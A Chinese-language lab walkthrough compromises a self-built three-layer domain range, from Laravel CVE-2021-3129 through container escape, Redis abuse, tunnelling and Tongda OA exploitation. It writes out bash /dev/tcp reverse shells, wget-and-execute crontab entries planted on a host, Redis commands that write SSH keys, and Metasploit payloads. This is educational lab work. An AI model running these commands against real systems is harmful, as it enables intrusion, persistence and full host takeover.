三层网络靶场(WHOAMI)从打点到拿下域控


靶场搭建的具体过程见本站《三层网络域渗透靶场(WHOAMII)搭建》一文。

一、信息收集

目标地址:192.168.43.253

1.1 nmap信息收集

nmap 192.168.43.253 -sC -sV -T4
nmap 192.168.43.253 -sC -sV -T4

全端口扫描:

nmap 192.168.43.253 -p- -sC -sV -T4
nmap 192.168.43.253 -p- -sC -sV -T4

不加-p-参数时,没有扫到redis的6379端口。

1.2 信息分析

80端口:nginx web服务,但是根据返回的信息看,502 bad gateway,也没啥利用价值。

81端口:nginx-web服务,Laravel框架,可以再深入了解版本信息,尝试进行历史漏洞的利用。

22端口:ssh,可以尝试爆破。

6379端口:-redis,可以尝试未授权访问等历史漏洞利用。

Laravel框架:

Laravel 是一个流行的 PHP Web 应用程序框架,以其优雅、简洁的设计和强大的功能而受到开发者的青睐。它遵循模型-视图-控制器(MVC)架构模式,自2011年发布以来,已经成为 PHP 开发者的首选框架之一。

获取Laravel版本信息:Laravel v8.29.0 (PHP v7.4.14)

访问81端口首页获取Laravel版本信息

二、 Laravel RCE-getshell

2.1 漏洞查询

google查询:Laravel v8.29.0 (PHP v7.4.14)相关漏洞。

exploit-db查询:检索Laravel的历史漏洞,Laravel RCE CVE-2021-3129,https://www.exploit-db.com/exploits/49424

具体漏洞复现见本站《 Laravel RCE CVE-2021-3129》这篇文章,https://sxksec.cn/2024/12/31/lou-dong-zhi-shi-ku/laravel-rce-cve-2021-3129/

这篇是本站关于该漏洞的完整复现、分析和利用相关的文章,下面所用到的具体的exp也在这篇文章中。

2.2 漏洞检测

python CVE-2021-3129.py -u http://192.168.43.253:81/

成功检测到CVE-2021-3129漏洞。

2.3 漏洞利用

python CVE-2021-3129.py -u http://192.168.43.253:81/ -e

成功写入webshell。

2.4 getshell

拿到一个www-data用户权限的shell。

2.5 判断shell所处的环境

如何判断我们获取的shell是否是容器?

  • 1)系统信息:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64

判断大概是一个容器8e172820ac78

  • 2)hostname的输出也表现为一个容器ID。
hostname输出
  • 3)cat /proc/self/cgroup
cat /proc/self/cgroup

在Linux系统中,/proc/self/cgroup 文件包含了当前进程(即执行 cat /proc/self/cgroup 命令的进程)所属的所有控制组(cgroups)的路径。这个文件可以帮助你确定当前进程是否运行在容器中,因为容器通常会有自己的cgroup配置。

(www-data:14:name=) $ cat /proc/self/cgroup

/bin/sh: 1: cd: can’t cd to 14:name=

14:name=dsystemd:/

13:name=systemd:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

12:pids:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

11:hugetlb:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

10:net_prio:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

9:perf_event:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

8:net_cls:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

7:freezer:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

6:devices:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

5:memory:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

4:blkio:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

3:cpuacct:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

2:cpu:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

1:cpuset:/docker/8e172820ac78867ecf2b58ccbeacdda40f610fbd6acd1494a4b423123cb57288

每一行代表不同的cgroup子系统,如CPU、内存、设备等,冒号后的路径是该子系统下的具体cgroup路径。如果路径包含类似 kubepodsdocker 这样的词汇,这通常意味着当前环境是一个容器。

如果你在一个容器中执行这个命令,你可能会看到cgroup路径中包含容器ID或特定于容器的命名空间。如果你在一个普通的非容器环境中执行这个命令,你可能会看到不同的路径,或者路径可能直接指向根。

什么是cgroup路径?

cgroup(Control Groups)是Linux内核的一个特性,用于对进程组的物理资源(如CPU、内存、磁盘I/O等)进行细粒度的控制和监控。cgroup路径是指在cgroup文件系统层次结构中,特定cgroup的路径。

cgroup路径的作用

cgroup路径的主要作用包括:

  1. 资源限制:通过在cgroup路径中设置参数,可以限制或优先分配资源给特定的进程组。
  2. 资源监控:可以监控特定cgroup的资源使用情况,如CPU使用率、内存使用量等。
  3. 进程管理:可以将进程添加到特定的cgroup中,实现对进程的分组管理。

cgroup是Linux容器技术(如Docker和Kubernetes)中实现资源隔离和限制的关键技术。通过cgroup,容器技术可以确保容器内的进程不会消耗过多的系统资源,从而保护宿主机和其他容器的稳定性。

所以综上所述,通过CVE-2021-3129拿到一个容器中www-data用户权限的shell。

三、权限提升

3.1 查找具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null 是一个在Linux系统中使用的命令,用于查找系统中具有SUID(Set User ID)权限的可执行文件。下面是命令各部分的解释:

  • find:这是Linux中用于搜索文件的命令。
  • /:指定搜索的起始目录,这里是根目录,意味着搜索将从根目录开始,遍历整个文件系统。
  • -perm -u=s:这个选项告诉find命令查找权限设置为用户ID(User ID)具有特殊权限的文件。-u=s表示文件具有SUID权限。当你在 find 命令中使用 -perm -u=s 时,你实际上是在告诉 find 命令去搜索所有用户权限中设置了SUID的文件。
  • -type f:这个选项限制搜索结果只返回文件(不包括目录)。
  • 2>/dev/null:这部分是将标准错误(stderr)重定向到/dev/null,这意味着任何错误信息都不会显示在终端上。

SUID权限:SUID权限允许一个程序以文件所有者的身份运行,而不是以启动该程序的用户的身份运行。这通常用于需要提升权限的程序,例如passwdsudo

/home/jobs/shell文件具有suid权限且名字比较可疑。

shell文件是一个可执行二进制程序,并且所有用户都有执行权限。

执行./shell文件:

发现执行了一些命令,如apache2、apache2和ps等,并且执行这些命令的时候没有用绝对路径,说明他们都能从$PATH环境变量中被找到。

权限提升的思路:在/tmp目录中创建一个名称为ps但是内容为/bin/bash的文件,并将它的权限改成777,然后在$PATH环境变量前添加/tmp: ,这样以来执行./shell程序的时候,就有限会执行/bin/bash,又由于shell执行的时候是root权限,因此执行/bin/bash之后也会获得一个root权限的shell。

3.2 反弹shell

首先通过插件市场下载脚本执行插件,然后加载脚本执行插件。

kali端监听端口:

nc lvp 2333

命令详解:

nc -lvp 2333 是一个使用 netcat(通常简称为 nc)这个网络工具的命令,用于在本地计算机上监听端口 2333 的 TCP 连接。

  1. nc:这是调用 netcat 程序的命令,netcat 是一个用于网络通信的简单 Unix 工具,它可以用于读取和写入网络连接。
  2. -l:这个选项告诉 netcat 进入监听模式,准备接受传入的连接。
  3. -v:这个选项是用于启用详细输出模式,它会在屏幕上显示更多的信息,比如连接的状态和任何错误信息。
  4. -p 2333:这个选项指定了 netcat 监听的端口号,这里是 2333。任何想要连接到这个端口的远程系统都会被 netcat 接受。

执行反弹shell的脚本:

system('bash -c "bash -i >& /dev/tcp/192.168.43.26/2333 0>&1"')

命令详解:

这条命令是一个在PHP环境中执行的系统命令,它利用了PHP的system函数来调用bash shell,并执行一个特定的命令字符串。这个命令字符串是一个创建反向shell的技巧,通常用于渗透测试或恶意软件中。

  1. system:这是PHP的一个函数,用于执行外部命令并显示输出。
  2. 'bash -c "bash -i >& /dev/tcp/192.168.43.26/2333 0>&1"':这是传递给system函数的命令字符串,它被单引号括起来,表示这是一个单一的字符串参数。
  3. bash -c:这是调用bash shell并执行后面的命令字符串。
  4. 'bash -i >& /dev/tcp/192.168.43.26/2333 0>&1':这是bash命令,用于创建一个反向shell。
    1. bash -i:启动一个交互式的bash shell。
    2. >&:这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)合并并重定向到同一个目标。单独使用 >& 时,它通常用于将标准输出(stdout)和标准错误(stderr)重定向到同一个目标。
    3. /dev/tcp/192.168.43.26/2333:这是一个Unix域套接字,用于建立一个到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.43.262333端口。
    4. 0>&1:这将标准输入(stdin)重定向到标准输出(stdout)。这样做的目的是为了让输入和输出都通过同一个通道,即TCP连接。

这个命令的目的是创建一个反向连接,使得攻击者可以从远程IP地址192.168.43.262333端口访问目标机器的shell。这种技术通常被用于绕过防火墙的限制,因为大多数防火墙会允许出站连接。

kali linux获取反弹的shell

3.3 权限提升获取root权限

执行过程如下:

cd /tmp
echo "/bin/bash" > ps # /bin/bash 的权限 -rwxr-xr-x 1 root root 
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了

具体的执行过程:

www-data@8e172820ac78:/var/www/html$ cd /tmp
cd /tmp
www-data@8e172820ac78:/tmp$ ls
ls
vIjn2Lh
vKwfKcp
vuPmJKu
www-data@8e172820ac78:/tmp$ echo “/bin/bash” > ps
echo “/bin/bash” > ps
www-data@8e172820ac78:/tmp$ ls
ls
ps
vIjn2Lh
vKwfKcp
vuPmJKu
www-data@8e172820ac78:/tmp$ ls -al ps
ls -al ps
-rw-r–r– 1 www-data www-data 10 Jan 3 03:00 ps
www-data@8e172820ac78:/tmp$ chmod 777 ps
chmod 777 ps
www-data@8e172820ac78:/tmp$ ls -al ps
ls -al ps
-rwxrwxrwx 1 www-data www-data 10 Jan 3 03:00 ps
www-data@8e172820ac78:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@8e172820ac78:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@8e172820ac78:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@8e172820ac78:/tmp$ cd /home/jobs
cd /home/jobs
www-data@8e172820ac78:/home/jobs$ ls -al
ls -al
total 32
drwxr-xr-x 2 root root 4096 Feb 25 2021 .
drwxr-xr-x 1 root root 4096 Feb 25 2021 ..
-rw-r–r– 1 root root 75 Feb 25 2021 demo.c
-rwsr-xr-x 1 root root 16712 Feb 25 2021 shell
www-data@8e172820ac78:/home/jobs$ ./shell
./shell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
whoami
root

提权成功,获得容器中root权限的shell。

为什么不直接在蚁剑中执行而需要反弹shell呢?

  • 实践操作会发现,在蚁剑的虚拟终端中无法修改$PATH环境变量。

export 不奏效。

也没有bashrc文件。

四、容器逃逸

4.1 runc容器逃逸-CVE-2021-5736

虽然目标系统的docker和runc版本满足CVE-2021-5736利用条件,但是ubuntu 14.04版本不满足满足条件,最终未利用成功。

具体过程见本站《docker容器逃逸-CVE-2019-5736》一文。

4.2 Docker特权模式容器逃逸

具体的漏洞复现见本站《Docker特权模式容器逃逸》一文。

MSF的用法见本站《MSF-Metasploit》一文。

4.2.1 当前条件

已经获取到了root权限的容器shell。

4.2.2 判断容器是否特权运行

CapEff的值表明当前容器是用特权模式启动的。

4.2.3 挂载宿主机的根目录

在低权限的shell是没法执行的。

在root权限的shell中执行fdisk -l

fdisk -l 是一个常用的命令,用于列出系统中所有可用的磁盘分区信息。fdisk 是一个磁盘分区表操作工具,而 -l 选项用于列出所有分区表信息,而不进行任何修改.

fdisk列出了宿主机的磁盘目录,重点关注带*的磁盘分区,这代表宿主机的启动磁盘。

创建一个目录,挂载/dev/sda1

mkdir hack
mount /dev/sda1 /home/hack
ls hack

可以看到宿主机的磁盘文件已经挂载到了hack目录中。

接下来,可以通过操作宿主机的磁盘目录来篡改定时任务,执行反弹shell的操作。

4.2.4 MSF-web_delivery模块创建payload

首先使用metasploit的web_delivery模块生成payload命令:

use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.26
set lport 4446
exploit

执行exploit之后,注意看最后的提示,在目标主机上运行如下命令,在受害主机上执行一个反弹shell的脚本:

wget -qO 4dsxUgj2 --no-check-certificate http://192.168.43.26:8080/l16V8k4P5u5n56; chmod +x 4dsxUgj2; ./4dsxUgj2& disown

4.2.5 写入恶意定时任务

1)写入 /var/spool/cron/crontabs/root中

在root权限的容器shell中写入定时任务:

echo '* * * * * wget -qO 4dsxUgj2 --no-check-certificate http://192.168.43.26:8080/l16V8k4P5u5n56; chmod +x 4dsxUgj2; ./4dsxUgj2& disown' >> hack/var/spool/cron/crontabs/root

定时任务写入成功。

cat hack/var/spool/cron/crontabs/root

但是meterpreter上线失败。

2)写入 /etc/crontab 中

写入宿主机的/etc/crontab文件。

echo '* * * * * root wget -qO wxnPcafS --no-check-certificate http://192.168.43.26:8080/lXJ0n5m; chmod +x wxnPcafS; ./wxnPcafS& disown' >> /home/hack/etc/crontab

受害宿主机成功上线。

宿主机上线

检查权限。

root权限获取成功

至此web2这台机子成功拿下root权限。

上面的定时任务会每分钟执行一次,会在meterpreter疯狂弹上线,并且会快速占满目标机器的网络资源,可以适当调整执行周期,如下面的设置,会在每个小时的第10分中执行一次:

echo '10 * * * * root wget -qO JNV5T7e6 --no-check-certificate http://172.20.10.4:8080/UvxhUc3By33; chmod +x JNV5T7e6; ./JNV5T7e6& disown' >> /home/hack/etc/crontab

也可以用date命令获取一下系统时间,然后指定在一段时间后触发一次,但是如果拿下的是容器,可能容器时间和宿主机时间会不同,需要特别注意。

4.3 信息收集

4.3.2 系统基本信息

4.3.1 网络信息

只有两个网段 192.168.52.20/24 和 192.168.93.10/24。

192.168.52.20/24

但是我们明明是从192.168.43.253:81这个端口打进容器,并获得宿主机root权限的。

分析:192.168.43.253:81是被攻陷的这台主机的反向代理。

4.3.2 使用root权限进入目标主机的shell

metepreter>shell

通过容器映射向外暴露8000端口。

五、redis未授权访问getshell

在最开始的信息收集中,能够看到192.168.43.253这台机子开启了redis 6379端口,且版本为2.8.17。从基本的信息看是极有可能存在redis未授权访问漏洞的。

关于redis未授权访问漏洞的复现和利用方法,详见本站《redis未授权访问漏洞》一文:https://sxksec.cn/2025/01/08/lou-dong-zhi-shi-ku/redis-wei-shou-quan-fang-wen-lou-dong/

5.1 服务版本信息探测

5.2 漏洞探测

redis-cli -h 192.168.43.253
>info

可以看到kali未经授权就可以连接到远端靶机的redis服务。

5.3 漏洞利用

5.3.1 写入计划任务(失败)

1)如果redis服务的用户权限较低无法利用

ubuntu计划任务目录:

在 Ubuntu 系统中,不存在 /var/spool/cron/root 这个目录。

  • 关于 cron 任务存储位置:Ubuntu 系统中,用户的 cron 任务通常存储在 /var/spool/cron/crontabs 目录下。每个用户的 cron 任务文件以用户名命名,例如 root 用户的 cron 任务文件就是 /var/spool/cron/crontabs/root。这个文件包含了 root 用户设置的定时任务,如定时备份数据、定时清理日志等操作。
  • 权限和安全性/var/spool/cron/crontabs 目录的权限设置比较严格,只有特定的用户和组(通常是 crontab 组)才有权限访问和修改其中的文件,这样可以防止未授权的用户修改 cron 任务,从而保证系统的安全性和稳定性。

无法设置为这个目录。权限不够。

尝试使用/etc/crontab文件。

set hahaha "\n\n* * * * * root /bin/bash -i >& /dev/tcp/192.168.43.26/8888 0>&1 \n\n"

save的时候报错。利用失败。可能是因为权限问题。

为了实验顺利进行,web1这台靶机的redis服务应该以root权限启动:

sudo redis-server /etc/redis.conf

2)在/var/spool/cron/crontabs/root写入计划任务(失败)

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxxxx "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.43.26/8888 0>&1 \n\n"
save

攻击端并没有接收到shell。

3)在/etc/crontab写入计划任务

config set dir /etc
config set dbfilename crontab
set xxxxx "\n\n* * * * * root /bin/bash -i >& /dev/tcp/192.168.43.26/8888 0>&1 \n\n"
save

攻击端没有接收到回连的shell。

5.3.2 上传ssh公钥

将公钥写入key.txt文件

cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n") > /root/key.txt
cat /root/key.txt |./redis-cli -h 192.168.43.253 -x set pub
redis-cli -h 192.168.52.4
config set dir /root/.ssh
config set dbfilename authorized_keys
save

bingo!成功获取到web1靶机的root权限。

5.4 信息收集

拿下的这台192.168.43.253的服务器,还有另外一个ip 192.168.52.10。

之前通过Laravel RCE+容器逃逸拿下的那台机子是ubuntu14.04的系统,两块网卡的ip分别是192.168.52.20和192.168.93.10。但我们之前访问Laravel web服务的时候,ip是192.168.43.253,分析43.253这台机器是一个反向代理服务器。

Nginx 的 conf.d 目录用途及与 nginx.conf 的关系:

/etc/nginx/conf.d 目录用于存储额外的配置文件,这些配置文件通常包含针对特定站点或服务的配置,使得 Nginx 的主配置文件更加简洁和模块化。具体用途如下:

  • 模块化配置/etc/nginx/conf.d 目录用于存储额外的配置文件,每个文件通常以 .conf 结尾,例如 default.conf。这种模块化配置方式使得每个配置文件可以独立配置特定的站点或服务,从而让主配置文件更加简洁和易于管理。

  • 包含机制:Nginx 的主配置文件 /etc/nginx/nginx.conf 通常会包含 /etc/nginx/conf.d 目录下的所有配置文件,使用 include 指令。例如:

    nginx复制

    http {
        include /etc/nginx/conf.d/*.conf;
    }

    这样,Nginx 在启动时会按照文件名的字母顺序加载 /etc/nginx/conf.d 目录下的所有配置文件,并将它们合并成一个完整的配置。

cat /etc/nginx/nginx.conf

主配置文件还包含了conf.d下的子配置文件。

配置解析:

server {
    listen 81;             # 监听端口 81,这意味着 Nginx 将在这个端口上接收进来的 HTTP 请求。
    server_name localhost; # 指定服务器名称为 localhost,这通常用于本地开发和测试环境。

    location / {           # 定义 location 块,它决定了如何处理对服务器根路径(即以 / 开始的路径)的请求。
        proxy_pass http://192.168.52.20:8000; # 将请求转发到内部网络的 192.168.52.20 服务器的 8000 端口。
    }
}

小结

到目前为止我们已经拿下了:

  • DMZ区的一台服务器(192.168.43.253,192.168.52.10)
  • 二层网络的一台服务器(192.168.52.20,192.168.93.10)

六、隧道搭建(二层网络渗透)

目前攻击机只能ping通DMZ区的主机,无法ping通二层网络(192.168.52.20/24)的主机。如何把我们的工具带入内网呢?比如如何直接拿kali上的nmap扫192.168.52.0/24网段的主机?这就要用到隧道搭建技术了。

关于EW和proxychains的使用方法,可以参考本站的《Earthworm-隧道搭建》一文。

6.1 通过设置路由将msfconsole带入内网使用

通过获取web1的metepreter的shell,然后通过路由设置可以将msfconsole带入内网(但是其他的工具想要带入内网还是要搭建隧道)。

  • web1上线meterpreter

使用 msf exploit/multi/script/web_delivery模块创建反弹shell的payload,投递到DMZ受控主机中。

use exploit/multi/script/web_delivery
set LPORT 5555
set LHOST 192.168.43.26
set payload linux/x64/meterpreter/reverse_tcp
set SRVPORT 9090
exploit

在web1中执行下面的命令:

wget -qO xDfaOgFL --no-check-certificate http://192.168.43.26:9090/plurgt4DqlP; chmod +x xDfaOgFL; ./xDfaOgFL& disown

执行之后上线meterpreter:

  • 设置路由

通过添加路由可以将msfconsole路由到内网中。将msfconsole的流量从sessions 1路由到192.168.52.0/24网段。

我们尝试使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

​ 成功探测到一台计算机:192.168.52.30.

6.2 攻击机通过EW隧道直接探测二层网络

虽然通过路由设置可以将msfconsole带入内网,但是其他的工具想要带入内网还是要搭建隧道。

6.2.1 环境梳理

从攻击者的视角看,目前的网络环境大致如下:

【攻击机192.168.43.26】——>【DMZ 192.168.43.253|192.168.52.10)】——>【二层 192.168.52.20|192.168.93.10】

这里是在本机搭建的环境,在实际攻击场景中攻击机一般是互联网上一台拥有公网ip的VPS,DMZ对外的IP也是互联网IP。

需求:建立攻击机和二层主机的隧道,实现直接在攻击机中使用nmap对二层网络中的主机进行扫描。

6.2.2 攻击机执行ew客户端

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

命令详解:

  • -s rcsocks:指定使用 rcsocks 模式。rcsocks 模式是 Earthworm 的 SOCKS 代理模式,它创建一个 SOCKS 服务器,该服务器接收来自客户端的连接,并将这些连接转发到远程的 SOCKS 服务器。
  • -l 1080:指定本地监听端口为 1080。这意味着 Earthworm 将在本地计算机的 1080 端口上监听进来的 SOCKS 代理请求。
  • -e 1234:指定远程 SOCKS 服务器的端口为 1234。这意味着所有通过本地 SOCKS 服务器(监听在 1080 端口)的流量都将被转发到远程 SOCKS 服务器的 1234 端口。

6.2.3 DMZ受控主机执行ew服务端(web1)

上传ew_for_linux64

scp Desktop/ew_for_linux64 root@192.168.43.253:/home

由于已经获得了ssh root权限,所以这里可以直接用scp复制文件到目标系统中。

并执行如下命令:

./ew_for_linux64 -s rssocks -d 192.168.43.26 -e 1234

命令详解:

  • -s rssocks:指定使用 rssocks 模式。rssocks 模式用于创建一个 SOCKS 服务端,它将接收来自远程 SOCKS 客户端的连接,并将这些连接转发到本地的特定端口。
  • -d 192.168.1.7:指定目标主机的 IP 地址为 192.168.1.7。这意味着 Earthworm 将尝试连接到这个 IP 地址上的 SOCKS 客户端。
  • -e 1234:指定本地转发端口为 1234。这意味着所有通过远程 SOCKS 客户端的流量都将被转发到本地的 1234 端口。

6.2.4 攻击机设置proxychains

什么是proxychains

Proxychains 是一个非常有用的工具,它允许你通过一个或多个代理服务器来运行你的应用程序。它通过劫持应用程序的网络请求,并将这些请求通过配置的代理链发送出去,从而实现网络流量的代理。

ProxyChains是Linux和其他Unices下的代理工具。它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。

设置ProxyChains的具体操作步骤如下所示:

1)打开ProxyChains配置文件:

vim /etc/proxychains4.conf

2)添加代理服务器

在配置文件中,找到 [ProxyList] 部分,并添加你的代理服务器信息。以下是一些示例配置:

SOCKS5 代理

socks5 192.168.1.100 1080

HTTP 代理

http 192.168.1.101 8080

SOCKS4 代理

socks4 192.168.1.102 9050

你可以添加多个代理,Proxychains 会根据配置的规则使用这些代理。

3)配置代理链模式

在配置文件的顶部,你可以选择不同的代理链模式:

动态链 (dynamic_chain):Proxychains 将按顺序尝试每个代理,直到找到一个工作的代理。

严格链 (strict_chain):Proxychains 将按顺序尝试每个代理,如果一个代理失败,它将停止尝试。

例如,要启用动态链模式,你可以在配置文件的顶部添加或确保以下行未被注释(即没有 # 在行首):

dynamic_chain

4)保存并退出编辑器

保存更改并退出编辑器。如果你使用的是 nano,可以按 Ctrl + X,然后按 Y 确认保存更改,最后按 Enter 保存文件。

5)使用 Proxychains

现在,你可以通过在命令前加上 proxychains 来使用 Proxychains。例如,使用 proxychains 运行 curl 命令:

proxychains curl http://example.com

这将通过你配置的代理服务器发送请求。

修改之前的配置:

原配置

修改后的配置:

之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。

正常情况下ping内网主机是无法ping通的,但是proxychains不支持icmp协议,所以也没法使用诸如proxychains4 ping 192.168.52.20的命令测试连通性。

6.2.5 攻击机使用proxychains执行namp

使用proxychains代理攻击机的流量,实现对二层网络的探测:

proxychains4 nmap -Pn -sV -sT -F -O 192.168.52.30 

大战Bug-「proxychains4 nmap 报错」

解决:

编辑 /etc/proxychains4.conf

注释掉dns解析代理

​ 重新执行扫描:

​ 扫描结果:

​ 至此,成功实现借助隧道使用kali的攻击工具探测二层网络内系统信息。

​ 流量路径大致如下:

kali(nmap)192.168.43.26——>127.0.0.1:8080——>192.168.43.253:1234——>192.168.52.10——>192.168.52.30

切换热点之后靶场网络环境的调整

后面换了一个热点环境,WIFI网段变成了172.20网段。做了以下调整,调整后的各层网络的主机IP地址如下:

mac宿主机:【IP:172.20.10.3/28 ,网关:172.20.10.1】

攻击机kali:【IP:172.20.10.4/28 ,网关:172.20.10.1】

DMZ区-web1:【IP1:172.20.10.5/28,网关:172.20.10.1】【IP2保持不变:192.168.52.10 网关192.168.52.1 】

其他设置保持不变就行了。

其实改变热点仅仅影响到了桥接模式的网卡,跟其他网卡无关。如果深入了解了VMware虚拟化网络的底层逻辑,应该不难理解。可以参考文站的这篇文章《三层网络域渗透靶场(WHOAMII)搭建》

修改配置之后反弹shell无法连通,web2主机无法ping通172.20.10.1/28。

分析是路由配置的问题:

172.20.0.0/16 dev br-1d665e13ee58  proto kernel  scope link  src 172.20.0.1 

分析可能是这行路由配置影响了数据包的路由。

所有发往 172.20.0.0/16 网段(包括 172.20.10.0/28)的数据包,都将通过名为 br-1d665e13ee58 的虚拟网络接口发送,并且这些数据包的源地址将被设置为 172.20.0.1。这个路由只在本地链路上有效。所以从web2到172.20.10.0/28的流量没有出去。

我想解决方法有二,要么是加路由如下,要么是删除冲突的路由配置:

  • 方法1:
sudo ip route add 172.20.10.0/28 via 192.168.52.1

成功ping通。

其实在真实环境中,DMZ区外侧的互联网地址、攻击者的VPS都是互联网IP,如果二层网络能访问互联网的话自然也能访问到攻击者的VPS。在这里可以把172.20.10.0/28网段当作是互联网网段,192.168.52.1是二层网络访问互联网的网关。

  • 方法2:

看一下当前运行的容器的网络环境

sudo docker inspect 8e17 

没有用到172.20网段。开删!

先把刚刚设置的路由删掉:

sudo ip route del 172.20.10.0/28

删除冲突的172.20网段的路由:

能ping通,果不其然是这条冲突路由的问题。

配置网络的奇奇怪怪的经验又增加了。

二层网络ping kali的路径梳理:

ping 172.20.10.4–>走默认路由到–>192.168.52.1–>通过NAT到宿主机的网关–>172.20.10.1–>172.20.20.4成功访问到kali。所以反弹shell的路径也就通了。

书接上回,内网二层网络端口扫描结果:

Nmap scan report for 192.168.52.30
Host is up (0.011s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE      VERSION
110/tcp  open  pop3
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WHOAMIANONY)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1057/tcp open  msrpc        Microsoft Windows RPC
1059/tcp open  msrpc        Microsoft Windows RPC
1061/tcp open  msrpc        Microsoft Windows RPC
8080/tcp open  http         nginx

6.3 二层网络资源访问

6.3.1 8080端口

尝试直接从kali攻击机访问内网的主机的8080端口。

配置firefox的socks代理:

成功访问到二层网络主机的web服务,是一个通达OA系统。

流量路径:

Kali172.20.10.4 上用浏览器访问192.168.52.30:8080【—>proxychains—> kali的127.0.0.1:1080–>ew客户端监听socks隧道并转发–>DMZ区web1的ew服务端的1234端口–>】访问192.168.52.30:8080

最终的效果就是kali能够成功访问到内网的web服务。

七、二层网络通达OA渗透获取主机权限

详细过程参考本站《通达OA漏洞探测及利用》一文。

7.1 漏洞探测

go run main.go scan -u http://192.168.52.30:8080/

7.2 漏洞利用

go run main.go exp -u http://192.168.52.30:8080/ -i Td03

7.4 getshell

使用Godzilla连接webshell,具体使用防范见本站《Godzilla》一文。

成功getshell!

成功获得nt authority\system 权限!

7.5 通过哥斯拉上线meterpreter

选择PMeterpreter模块,设置为攻击机的ip和监听端口。

攻击机设置msf

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 12345
lport => 12345
msf5 exploit(multi/handler) > run

至此,DMZ区和二层网络的主机均被拿下,而且都是最高权限!✅

八、内网信息收集

8.1 Godzilla收集

8.1.1 基础信息

基础信息:

8.1.2 执行命令

内容不友好,可读性较差。

8.2 php/meterpreter 信息收集

php/meterpreter 能够执行的命令有限。

能进入C:/windows/system32

php形式的meterpreter不太行,收集的信息不多。

8.3 msfvenom制作并上传反弹shell的payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=23456 -f exe > reverse.exe

8.4 上线windows/x64/meterpreter

msf设置监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.20.10.4
set lport 23456
run

靶机执行脚本后成功上线 windows/x64/meterpreter

这个meterpreter能够执行的命令要相对多一些。

8.5 内网信息收集

8.5.2 基本信息收集

1)sysinfo

meterpreter > sysinfo

可以看到是一台win7,x64架构,所在的域WHOAMIANONY,登录的用户有3个。

meterpreter > shell
systeminfo

障碍扫除-meterpreter乱码问题:

进入shell之后,执行chcp 65001

chcp 是一个在 Windows 命令提示符(cmd)中使用的命令,用于更改或显示当前使用的代码页。代码页定义了字符在计算机中如何表示,包括字符的编码和解码方式。

65001 是 UTF-8 编码的代码页编号。UTF-8 是一种广泛使用的字符编码,它可以表示任何 Unicode 字符,并与 ASCII 编码兼容。在命令提示符中运行 chcp 65001 命令会将当前会话的代码页更改为 UTF-8。这通常用于确保命令行可以正确处理和显示 Unicode 字符,例如中文、日文、韩文等非拉丁字符。

2)systeminfo

C:\Windows\System32>systeminfo
systeminfo

Host Name:                 PC1
OS Name:                   Microsoft Windows 7 专业版 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows 用户
Registered Organization:   
Product ID:                00371-177-0000061-85693
Original Install Date:     2019/8/25, 9:54:10
System Boot Time:          2024/12/31, 17:43:46
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
